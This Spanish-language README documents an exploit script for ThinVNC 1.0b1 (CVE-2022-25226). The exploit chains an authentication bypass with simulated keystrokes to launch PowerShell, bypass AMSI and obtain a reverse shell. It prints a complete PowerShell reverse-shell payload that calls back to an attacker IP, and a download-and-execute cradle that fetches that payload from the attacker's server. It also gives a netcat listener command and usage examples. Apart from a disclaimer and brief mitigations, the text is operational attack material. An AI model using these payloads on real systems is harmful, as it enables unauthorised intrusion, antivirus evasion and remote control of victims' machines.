ThinVNC 1.0b1 - Bypass de Autenticación a Ejecución Remota de Código (CVE-2022-25226)

Autor: krill-x7
Referencia: https://fluidattacks.com/advisories/sinatra

Descripción general

ThinVNC 1.0b1 contiene una vulnerabilidad de omisión de autenticación (CVE-2022-25226) que permite a atacantes remotos interactuar con el backend sin autenticación. Al aprovechar los endpoints /cmd expuestos, los atacantes pueden simular pulsaciones de teclas, abrir PowerShell, eludir AMSI y ejecutar comandos arbitrarios, lo que finalmente conduce a la Ejecución Remota de Código (RCE).

Este script encadena esas primitivas para obtener una shell reversa en el sistema objetivo.

Aviso legal

Este código se proporciona únicamente con fines educativos.
Úselo solo en sistemas que le pertenezcan o para los que tenga autorización explícita de prueba.

Requisitos

• Python 3
• Script de shell reversa rev.ps1 alojado en su máquina atacante
• Un listener (por ejemplo, Netcat) para recibir la shell

Uso

python3 thinvnc_rce.py -t <IP_OBJETIVO> -tp <PUERTO_OBJETIVO> -a <IP_ATACANTE> -ap <PUERTO_ATACANTE>

Ejemplo

python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000

Configuración del payload

1. Crear rev.ps1

Guarde esto en un archivo llamado rev.ps1.
Importante: Reemplace 192.168.1.200 y 8000 con la IP y el puerto de escucha de su atacante.

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
}
$client.Close()

2. Alojar rev.ps1

Desde el mismo directorio:

python3 -m http.server 8000

3. Iniciar un listener

nc -lvnp 8000

Flujo del exploit

1. Obtener un SID válido mediante una solicitud no autenticada a /cmd?cmd=connect.
2. Iniciar ese SID con acceso a teclado/ratón mediante /cmd?cmd=start.
3. Enviar la combinación de teclas Ctrl+Esc para abrir el menú Inicio.
4. Lanzar PowerShell en modo bypass.
5. Bypass de AMSI para desactivar las protecciones de PowerShell.
6. Ejecutar el payload de shell reversa desde su servidor HTTP.

Ejecución del payload

Este es el payload que se ejecuta en memoria:

IEX((New-Object System.Net.WebClient).DownloadString('http://<IP_ATACANTE>:<PUERTO>/rev.ps1'))

Reemplace <IP_ATACANTE> y <PUERTO> con su IP y puerto reales.

Notas

• El payload se ejecuta mediante inyección de comandos basada en portapapeles.
• Se incluye un bypass de AMSI para evadir detecciones antivirus basadas en PowerShell.
• ThinVNC ejecuta PowerShell con permisos de usuario predeterminados; si se ejecuta como administrador, la shell será elevada.

Mitigaciones

• No exponga ThinVNC a Internet.
• Bloquee el endpoint /cmd mediante la configuración del servidor web o un WAF.
• Cambie a alternativas seguras compatibles (por ejemplo, Apache Guacamole).
• Supervise el uso de PowerShell y el comportamiento de inyección en el portapapeles.

Créditos

• Exploit y automatización: krill-x7
• Descubrimiento de vulnerabilidad y aviso: Fluid Attacks – Advisory Sinatra